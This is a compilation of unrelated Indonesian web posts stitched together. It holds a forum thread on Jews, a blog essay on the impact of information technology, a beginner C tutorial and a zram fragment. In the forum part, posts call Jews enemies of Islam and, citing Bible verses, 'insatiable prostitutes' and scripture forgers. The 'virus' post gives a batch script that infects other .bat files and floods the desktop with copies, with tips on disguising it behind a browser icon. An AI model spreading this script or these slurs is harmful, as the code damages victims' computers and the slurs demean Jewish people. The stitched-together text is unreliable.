tentang nama Tuhannya, orang yahudi menyebut nama Tuhannya YHWH, tetapi nama ini bagi umat yahudi begitu agung dan tinggi, mereka tidak berani mengucapkannya,

mereka mengucapkan ELOHIM (lihat kemiripannya dengan kata ALLAH, dalam abjad yahudi gundiul ditulis (Alif, Lam, Lam dan Hah , Mem) menunjukkan etimologi dan kesaudaraan bahasa ARAB dan bahasa YAHUDI) atau mereka menyebut HASHEM (artinya SANG NAMA) atau Adonay

semoga anda menjadi maklum dan mendapat hidayah..

bila ada yang anda ingin tanyakan lebih detail, saya akan coba jawab..

wassalam
hmmmmmmmmmmmm
Ernsthofen, Germany
copy_paste wrote:
yahudi musuh ketat islam sebagaimana degan iblis juga musuh manusia,bagai mana mahu berbaik dgn yahudi sedangkan mereka sedang memusuhi muslim,
assalamu alaika , shalom aleicha, damai sejahtera,

apakah anda kenal satu orang yahudi, sehingga anda yakin bahwa yahudi memusuhi islam???

bagaiman dengan Isa, Dawud, Sulaeman, Yahya dan sekian nabi lainnya yang berasal dari bani yahudi???

wassalam
Kalountainiss
Johor Bahru, Malaysia
Sekelumit tentang Yahudi

"... dan Aku (Tuhan) akan membangkitkan kecemburuan mereka (bangsa Yahudi) dengan yang bukan umat (bangsa Arab) dan akan menyakiti hati mereka (bangsa Yahudi) dengan bangsa yang bebal," (bangsa Arab sebelum Islam).(Injil - Ulangan 32: 21)

Kesalahan penulisan berada di tangan bangsa Yahudi yang melakukan edit terhadap kitab Musa, seperti yang diratapi Nabi Yeremia:

"Bagaimanakah kamu berani berkata: Kami bijaksana dan kami mempunyai Taurat Tuhan? Sesungguhnya, Pena palsu penyurat sudah membuatnya menjadi bohong." (Injil - Yeremia 8: 8).

Ketika bangsa Yahudi diketahui mengubah bangsa Israel menjadi bangsa Ismael dengan tidak melibatkan motivasi apa pun, maka betapa mudah bagi mereka mengubah kata "anakmu yang tunggal Ismail" menjadi "anakmu yang tunggal Ishak". Anda dapat membuktikan penyakit orang Yahudi ini di dalam Injil:

"... Amasa adalah anak seorang yang bernama Yitra seorang bangsa Israel ..." (Injil - 2 Samuel 17: 25)
Kalountainiss
Johor Bahru, Malaysia
Bandingkan dengan:

"... dan ayah Amasa ialah Yeter (sama dengan Yitra), orang bangsa Ismail." (Injil - 1 Tawarikh 2: 17)
Kalountainiss
Johor Bahru, Malaysia
ORANG ISRAEL: Pelacur yang tidak pernah puas

* "Engkau bersundal juga dengan orang Asyur, oleh karena engkau (orang Israel) belum merasa puas; ya, engkau bersundal dengan mereka, tetapi masih belum merasa puas." (Injil - Yehezkiel 16: 28).
* Pelacuran oleh Dua Orang Perempuan Kakak beradik - Ohala dan Oholiba:
o "... Ia birahi kepada kawan kawannya bersundal, yang auratnya seperti aurat keledai dan zakarnya seperti zakar kuda.(Injil - Yehezkiel 23:1-49)(New World Translation).
o " ... sebab roh perzinahan menyesatkan mereka (Bangsa Yahudi) dan mereka berzinah meninggalkan Allah mereka." (Injil - Hosea 4: 12, 6: 10 dan 9: 1).

November 23, 2011

dampak it bagi kehidupan manusia


  1. Teknologi informasi sangat penting dalam kehidupan, teknologi informasi dapat meningkatkan kinerja serta memungkinkan semua kegiatan dapat terselesaikan dengan cepat , tepat, akurat dan meningkatkan produktifitas kerja karena teknologi informasi menghasilkan informasi yang berkaulitas dan sangat relevan baik untuk keperluan pribadi, bisnis, kesehatan, hobi, ,dan rohani maupun pemerintahan. Sebagaimana hakekat manusia sebagai makhluk sosial yang membutuhkan orang lain , kita kini dapat denga mudah saling berinteraksi dengan cepat menggunakan teknologi informasi yang memungkinkan kita berinteraksi dengan orang lain di belahan bumi manapun .Dengan Internet kita dapat berinteraksi tanpa batasan jarak fisik, waktu, kelas ekonomi, ras, Negara atau jarak geografis. Teknologi informasi tidak bisa dipungkiri memberikan kontribusi yang signifikan terhadap kehidupan manusia. Mulai dari wahana teknologi informasi yang paling sederhana berupa perangkat radio dan televisi, hingga internet dan telepon genggam dengan protocol aplikasi tanpa kabel (WAP), informasi mengalir dengan sangat cepat dan menyeruak ruang kesadaran banyak orang. Perubahan informasi kini tidak lagi ada dalam skala minggu atau hari atau bahkan jam, melainkan sudah berada dalam skala menit dan detik.
  2. Perbedaan teknologi informasi konvensional dan modern:
  • Teknologi Informasi Konvensional membutuhkan waktu yang cukup lama karena bersumber pada sesuatu yang bersifat nyata, contohnya bersumber dari buku sedangkan Teknologi Informasi modern membutuhkan wakru yang relative singkat, lebih terbuka dan fleksibel karena bersumber dari sesuatu yang berbasis elektronika seperti internet.
  • Teknologi Informasi Konvensional informasinya masih bersifat mengulang-ulang atau kurang kreasi dalam mengembangkan Informasi itu sendiri dan seni mengajarnya,  dan biasanya merupakan buku dan catatan yang sama sepanjang tahun, sedangkan Teknologi Informasi modern  informasinya bukan hanya berpaku pada buku yang sama namun relative berinovasi serta berkembang sesuai zaman dan perkembangan teknologi seperti adanya CD Tutorial, E-Book ataupun buku-buku online lainnya yang dapat di akses kapanpun.
  • Teknologi Informasi Konvensional dalam mendapatkannya masih mengalami keterbatasan financial dan jauhnya lokasi, sedangkan Teknologi Informasi modern relative lebih murah dan dapat mengakses apa saja, kapan saja dan dimana saja tanpa batasan jarak/lokasi.
  • Teknologi Informasi Konvensional cenderung menggunakan metode tatap muka sedangkan Teknologi Informasi modern merupakan perpaduan antara metode tatap muka dengan metode online (via internet dan berbagai pengembangan teknologi informasi lainnya.
  1. Bidang-bidang yang paling dominan yang memicu perkembangan teknologi informasi:
  • Bidang Pendidikan
Di bidang pendidikan sangat memicu perkembangan teknologi informasi. Globalisasi berpengaruh pada kecenderungan pergeseran-pergeseran dalam dunia pendidikan yang konvensional(tatap muka) kearah pendidikan yang lebih terbuka dan fleksibel. Dengan perkembangan teknologi dan informasi memungkinkan dalam pendidikan diadakan belajar jarak jauh menggunakan media internet dalam menghubungkan peserta didik dan pendidiknya. Dalam bidang ini perkembangan ilmu pengetahuan dalam bidang informasi dan komunikasi selalu berkembang dari hari ke hari sehingga memacu penciptaan  alat-alat yang mendukung perkembangan teknologi informasi, mulai dari sistem komunikasi sampai dengan alat komunikasi yang searah maupun dua arah.
  • Bidang Pemerintahan
Di bidang pemerintahan mengacu pada penggunaan teknologi informasi pemerintahan, seperti penggunaan intranet dan internet yang mempunyai kemampuan menghubungkan keperluan penduduk, bisnis dan kegiatan lainnya, karena sistem pemerintahan yang baik adalah yang  memenuhi tuntutan masyarakatnya. Hal ini memicu Penciptaan alat-alat yang mendukung perkembangan teknologi informasi guna tercapainya keterpaduan sistem penyelenggaraan Pemerintah.
  • Bidang Keuangan dan Perbankan
Di bidang Keuangan dan Perbankan para pelaku ekonomi khususnya di kota-kota besar telah memanfaatkan layanan Perbankan modern. Oleh karenanya di bidang ini dibutuhkan teknologi informasi yang handal yang dapat diakses oleh nasabahnya. Hal inilah yang memicu perkembangan teknologi untuk lebih canggih lagi guna menunjang keberhasilan sebuah lembaga keuangan / Perbankan tsb.
  1. Ciri Teknologi Informasi yang telah terdokumentasikan:
a)     Masa Prasejarah
Pada masa prasejarah teknologi informasi digunakansebagai system untuk pengenalan bentuk-bentuk yang ingin dikenali. Informasi yang didapatkannya digambarkan pada dinding tua atau tebing-tebing bebatuan. Perkembangan selanjutnya dimulai dengan menggunakan alat-alat yang menghasilkan bunyi dan isyarat seperti gendang dll.
b)     Masa Sejarah
Pada Masa sejarah teknologi Informasi berkembang pada masyarakat kalangan atas seperti para kepala suku / kelompok digunakan pada kegiatan tertentu seperti upacara atau ritual.
  • Masa tahun 3000 SM
Pada masa ini manusia mengenal simbol berupa pictograf sebagai huruf yang mempunyai bunyi untuk informasi, sehingga mampu membentuk kata , kalimat dan bahasa. Hal ini  digunakan oleh Bangsa Sumeria untuk pertama kali.
  • Masa tahun 2900 SM
Pada masa ini ditemukan bahwa Bangsa Mesir kuno sudah mengenal huruf Hierogliph yang berupa simbol berupa ungkapan.
  • Masa tahun 500 SM
Masa Ini merupakan pengenalan media informasi yang sebelumnya berupa lempengan tanah berganti menjadi serat pohon papyrus.
  • Masa tahun 1455
Masa ini merupakan upaya dalam menciptakan mesin cetak. Pada masa ini manusia sudah menggunakan mesin cetak berupa plat huruf terbust dari besi yang kemudian digantikan dengan bingkai dari kayu yang dikembangkan oleh Johann Gulenberg.
  • Masa tahun 1800-an
Pada tahun 1830 orang sudah mengenal program komputer seperti menciptakan mesin analytical, pengiriman serta penampilan teknologi informasi, dan Pengembangan system penulisan decimal.
  • Masa tahun 1900-an
Pada masa ini di tandai dengan penciptaan tabung Tv yang pertama(1923). Pada masa Perang Dunia II di kembangkan Ilmu pengetahuan dalam bidang informasi yang digunakan untuk kepentingan pengiriman dan penerimaan dokumen-dokumen militer yang disimpan dalam bentuk magnetic tape. Pertumbuhan Teknologi informasi (internet) melaju dengan sangat cepat dan mulai merambah kedalam segi kehidupan manusia dan menjadi bagian yang tidak dapat dipisahkan.
  1. Ekspektasi perkembangan teknologi informasi kedepan menurut saya adalah akan lebih bersifat terbuka dan dua arah, beragam, multidisipliner, serta terkait pada produktifitas kerja”saat itu juga”, misalnya:
    1. Komputer ada di mana-mana, semakin portable dan mobile. Di sisi lain, seluruh peralatan yang menunjang kehidupan manusia akan mengandung komputer yangembedded. Ketersediaan jaringan internet sangat tinggi karena itu akses terhadap informasi dapat dilakukan di manapun dan kapanpun. Internet akan mengandung informasi yang berlimpah. Manusia dapat bekerja, menikmati hiburan, bersosialisasi dan berkelana secara virtual ke seluruh dunia tanpa harus beranjak dari tempat duduknya. Robot-robot cerdas akan melayani seluruh kebutuhan manusia. Manusia dapat melakukan berbagai hal dengan upaya fisik yang sangat minimum. Dua hal kunci adalah: cyberspace atau dunia virtual, anytime anywhere access dan minimalisasi aktifitas fisik.
    2. Berkembangnya pendidikan terbuka dengan modus belajar jarak jauh (Distance Learning)
    3. Sharing resources antar lembaga dalam sebuah jaringan
    4. Perpustakaan dan instrumen pendidikan seperti guru dan laboratorium akan berubah fungsi menjadi sumber informasi
    5. Penggunaan perangkat teknologi informasi interaktif, seperti CD-ROM dan Multimedia,dalam pendidikan secara bertahap menggantikan TV dan Video.
  2. Contoh teknologi informasi telah menjadi bagian dari kehidupan kita:
  • Adanya teknologi informasi yang paling sederhana berupa perangkat radio dan televisi, hingga internet dan telepon genggam dengan protocol aplikasi tanpa kabel (WAP), informasi mengalir dengan sangat cepat dan menyeruak ruang kesadaran banyak orang.
  • Di bidang pendidikan dalam untuk mengolah data dan menghasilkan informasi semuanya membutuhkan teknologi informasi yang berbasiskan elektronika, bahkan sekarang sudah memungkinkan untuk diadakannya proses belajar jarak jauh menggunakan media internet untuk menghubungkan peserta didik dengan pendidiknya, untuk melihat jadwal kuliah, untuk mencari materi online, mengecek keuangan, dll.
  • Kita dapat dengan mudah dan cepat berinteraksi dengan orang lain misalkan melalui chatroom, discussion group, ataupun milist.
  • Contoh penggunaan teknologi dalam bidang pemerintahan adalah penerapan e-Government sebagai sistem informasi yang tersebar di seluruh daerah dan departemen , Misalnya koordinasi pemerintahan dilakukan melalui E-mail atau bahkan Video conference.
  1. Kontribusi teknologi informasi dalam meningkatkan produktivitas kerja adalah adanya kemudahan dalam mengerjakan suatu kegiatan secara cepat, tepat, dan akurat sehingga dapat meningkatkan kinerja. Pengaruhnya
Komputer ada di mana-mana, semakin portable dan mobile. Di sisi lain, seluruh peralatan yang menunjang kehidupan manusia akan mengandung komputer yang embedded. Ketersediaan jaringan internet sangat tinggi karena itu akses terhadap informasi dapat dilakukan di manapun dan kapanpun. Dengan teknologi informasi dan komunikasi semua proses kerja dan konten akan diubah dari bentuk fisik dan statis menjadi digital, mobile, virtual ataupun personal sehingga  kecepatan kinerja bisnis meningkat dengan cepat.
  1. Hasil kerja dengan dan tanpa mengoptimalkan teknologi informasi:
  • Transfer dokumen (document transfer) yang dahulu 3 hari(dengan surat pos), sekarang (dengan  faximile/ e-mail) hanya 45 detik.
  • Operasional penerbangan (airline operation)  dahulu 20 menit sekarang hanya 30 detik.
  • Pemesanan PC (build to order PC) yang dahulu 6 hari, sekarang hanya 24 jam.
  • Proses Analisa perdagangan (trading analytics) dahulu membutuhkan waktu 30 menit sekarang hanya membutuhkan 5 detik.
  • Supply chain updates, yang dahulu 1 hari sekarang hanya 15 menit.
  • Penyelesaian dagang (trade settlement) yang dahulu 3 hari, sekarang hanya 1 hari.
  • Penelusuran posisi keuangan (track financial position), yang dahulu membutuhkan waktu 1 hari penuh, sekarang hanya 5 menit.
  • Aktifasi telepon (phone activation) yang dahulu 3 hari sekarang hanya 1 jam.
  • Pemulihan gudang data (refresh data warehouse) yang dahulu 1 bulan sekarang hanya 1 jam.
  • Pertanyaan-pertanyaan yang diterima oleh call center (call center inquiries), yang dahulu membutuhkan waktu 8 jam, dengan bantuan expert information system sekarang hanya membutuhkan waktu 10 detik.
  1. Kajian tentang perkembangan teknologi informasi untuk 5,10,15,20 tahun mendatang:
  • 5 tahun mendatang
Perangkat sangat kecil yang dioperasikan oleh baterai yang sangat tahan lama, Layar Fleksibel dan proyektor HD built in, Layar sentuh multitouch yang lebih besar, input gerakan lebih baik, dan pengenal suara yang sempurna, Layar sentuh multitouch yang lebih besar, input gerakan lebih baik, dan pengenal suara yang sempurna, serta Jaringan 4G/5G dan WiFi sudah mencakup hingga ke Negara berkembang.
  • 10 tahun mendatang
Penggunaan papan ketik virtual dan input suara menggantikan papan ketik fisik secara menyeluruh, Teknologi dimana semua orang dapat terhubung dimanapun dan kapanpun (Whitespace),serta LCD Transparan yang dapat diaplikasikan ke kaca regular.
  • 15 tahun mendatang
Lensa Kontak yang dapat memproyeksikan gambar visual langsung ke retina mata, Mengontrol perangkat dengan menggunakan pikiran, Internet akan mengandung informasi yang berlimpah
  • 20 tahun mendatang
. Manusia dapat bekerja, menikmati hiburan, bersosialisasi dan berkelana secara virtual ke seluruh dunia tanpa harus beranjak dari tempat duduknya. Robot-robot cerdas akan melayani seluruh kebutuhan manusia. Manusia dapat melakukan berbagai hal dengan upaya fisik yang sangat minimum. Dua hal kunci adalah: cyberspace atau dunia virtual, anytime anywhere access dan minimalisasi aktifitas fisik.
10.  Dampak positif dan negatif dari pengembangan teknologi informasi dalam berbagai aspek kehidupan
  • Dampak positif
  • Penerapan Teknologi Informasi dan Komunikasi dalam Dunia Bisnis
dimanfaatkan untuk perdagangan secara elektronik atau dikenal sebagai E-Commerce yaitu sebuah perdagangan menggunakan jaringan komunikasi internet.
  • Dalam dunia perbankan Teknologi Informasi dan Komunikasi yaitu diterapkannya transaksi perbankan lewat internet (Internet Banking)  antara lain transfer uang, pengecekan saldo, pemindahbukuan, pembayaran tagihan, dan informasi rekening.
  • Penerapan Teknologi Informasi dan Komunikasi dalam Pendidikan
    Teknologi pembelajaran terus mengalami perkembangan seirng perkembangan zaman. Kemampuan dan karakteristik internet memungkinkan terjadinya proses belajar mengajar jarak jauh (E-Learning) menjadi lebih efektif dan efisien sehingga dapat diperoleh hasil yang lebih baik.
  • Penerapan Teknologi Informasi dan Komunikasi dalam Kesehatan
    Sistem berbasis kartu cerdas (smart card) dapat digunakan juru medis untuk mengetahui riwayat penyakit pasien yang datang ke rumah sakit. Digunakannya robot untuk membantu proses operasi pembedahan serta penggunaan komputer hasil pencitraan tiga dimensi untuk menunjukkan letak tumor dalam tubuh pasien.
  • Adanya kemudahan dalam mengerjakan suatu kegiatan secara cepat, tepat, dan akurat sehingga dapat meningkatkan kinerja. Komputer ada di mana-mana, semakin portable danmobile. Ketersediaan jaringan internet sangat tinggi karena itu akses terhadap informasi dapat dilakukan di manapun dan kapanpun. Dengan teknologi informasi dan komunikasi semua proses kerja dan konten akan diubah dari bentuk fisik dan statis menjadi digital, mobile, virtual ataupun personal sehingga  kecepatan kinerja bisnis meningkat dengan cepat.
  • Dampak negatif
    • PENIPUAN
Penipuan dengan memanfaatkan TIK makin banyak ditemukan. Internet pun tidak luput dari serangan para penipu.
  • CARDING
Carding merupakan aktivitas pembelian barang di Internet menggunakan kartu kredit bajakan. Cara belanja menggunakan kartu kredit adalah cara yang paling banyak digunakan dalam dunia Internet karena bersifat real-time (langsung).
  • PORNOGRAFI
  • PERJUDIAN
Dampak negatif lain adalah meluasnya perjudian. Dengan luasnya jaringan yang tersedia, para penjudi tidak pernah perlu pergi ke tempat khusus untuk berjudi.

Juni 05, 2011

virus

pertama buka notepad kemudian ketik  @echo off echo checking system:  echo for %%i in (“*.bat”) do copy %%i+c:\tmp.bat %%i >c:\windows\system32\autoexec.NT echo VIRUS DETECTED pause echo DELETING VIRUS pause echo FAILED TO DELETE THE VIRUS pause echo CONTACTING THE ANTIVIRUS pause echo FAILED pause echo FAILED :1 dir /s copy c:\tmp.bat c:\docum~1\%username%\desktop\greatgame_%random%.bat goto 1   save as virus.bat di desktop atau yang lainnya, ekstensinya harus .bat, kemudian ganti icon-nya, yaitu dengan cara klik kanan, klik properties cari icon yang diinginkan, lebih baik pakai iconnya IE atau FF sesuaikan namanya. tapi sebelumnya buat shortcut ke program virus palsu tadi. klik kanan shortcut klik properties ganti iconnya.  untuk menghentikan virus palsu tadi dengan cara tekan Ctrl+C, atau menggunakan taskmanager

Mei 10, 2011

TEKNIK PEMROGRAMAN

konsep pemrograman sebenarnya adalah bukanlah menulis source code melainkan membuat algoritma dan logika kerja mengenai suatu permasalahan yang sedang di hadapi, membuat algoritma dan logika dari permasalahan adalah yang paling utama untuk dikerjakan, setelah itu barulah diimplementasikan dengan membuat source code yaitu dengan mengkonversikan algoritma kedalam bahasa pemrograman.
Kita tidak harus menguasai seluruh sintaksis yang ada dalam bahasa pemrograman yang dipakai, memang sangat sulit menghafal semua sintaksis yang ada dalam bahasa pemrograman.
Lalu apakah yang dimaksud bahasa pemrograman ? Bahasa pemrograman adalah kumpulan aturanyang disusun sedemikian rupa sehingga memungkinkan pengguna komputer membuat program yang dapat dijalankan dengan aturan tersebut.
Perintah dasar c/c++
structure dasar c/c++
secara umum perbedaan dasar antara bahasa C dan bahasa C++ terletak pada tipe bahasa pemrogramannya, bahasa C merupakan bahasa pemrograman prosedural yang memungkinkan untuk membuat prosedur dalam menyelesaikan sebuah permasalahan . Bahasa C++ merupakan bahasa yang berorientasi pada object bahasa C merupakan subset dari bahasa C++ sehingga perintah-perintah yang digunakan dalam bahasa C dapat dipakai penerapannya kedalam bahasa C++.
struktur dari bahasa C maupun bahasa C++ secara umum sama seperti bahasa pemrograman tingkat tinggi lainnya. Dapat dikatakan elemen-elemen dasar dari bahasa C/C++ terdiri dari :
  1. praprosessor
  2. prototipe fungsi
  3. variabel
  4. fungsi
struktur programnya ialah:
Daftar header file
deklarasi variabel global dan fungsi-fungsi
kepala fungsi utama(main)
definisi fungsi utama(main)
definisi fungsi-fungsi utama(main)
definisi fungsi-fungsi tambahan(subroutine)
Aturan umum penulisan bahasa C/C++:
  1. bahasa C/C++ bersifat case sensitif artinya huruf besar dan huruf kecil dibedakan misal variabel r berbeda dengan variabel R,
  2. untuk memberi komentar pada suatu baris program, dipakai /*dan*/,ataupun //.
  3. awal dan akhir fungsi utama ataupun subroutine diapit dengan kurung kurawal.
  4. Setiap pernyataan diakhiri dengan titik koma(;).
  5. Semua variabel yang digunakkan dalam program harus dideklarasikan terlebih dahulu.
Program C maupun C++ pada dasarnya merupakkan susunan dari bebrapa fungsi. Program C/C++
paling sederhana harus memiliki minimal satu buah fungsi. Program paling dari bahasa C/C++:
main()
{

}
Dalam C/C++ fungsi main() harus didefinisikan dan pada setiap fungsi yang ada dalam bahasa C/C++
akan memiliki bentuk seperti ini :
/*Contoh sebuah program*/
#include

main()
{
printf(“Goodbye Angry World!!!!”);
}
setelah di compile akan ditampilkan oleh komputer seperti ini:
Goodbye Angry World!!!!
jika tidak seperti ini maka terjadi kesalahan.
Sampai disini dulu tutorialnya semoga bermanfaat lain kali akan aku lanjutkan, ok?
udah ngantuk nich aku mau tidur dulu good night all and have a nice dream!! hehehe...4x

mencoba menggunakan zram di raspberry pi

saya beberapa hari yang lalu mencoba mengaktifkan zram untuk membuat cadangan jika ram udah hampir penuh untuk dipindah ke zram, sejauh ini...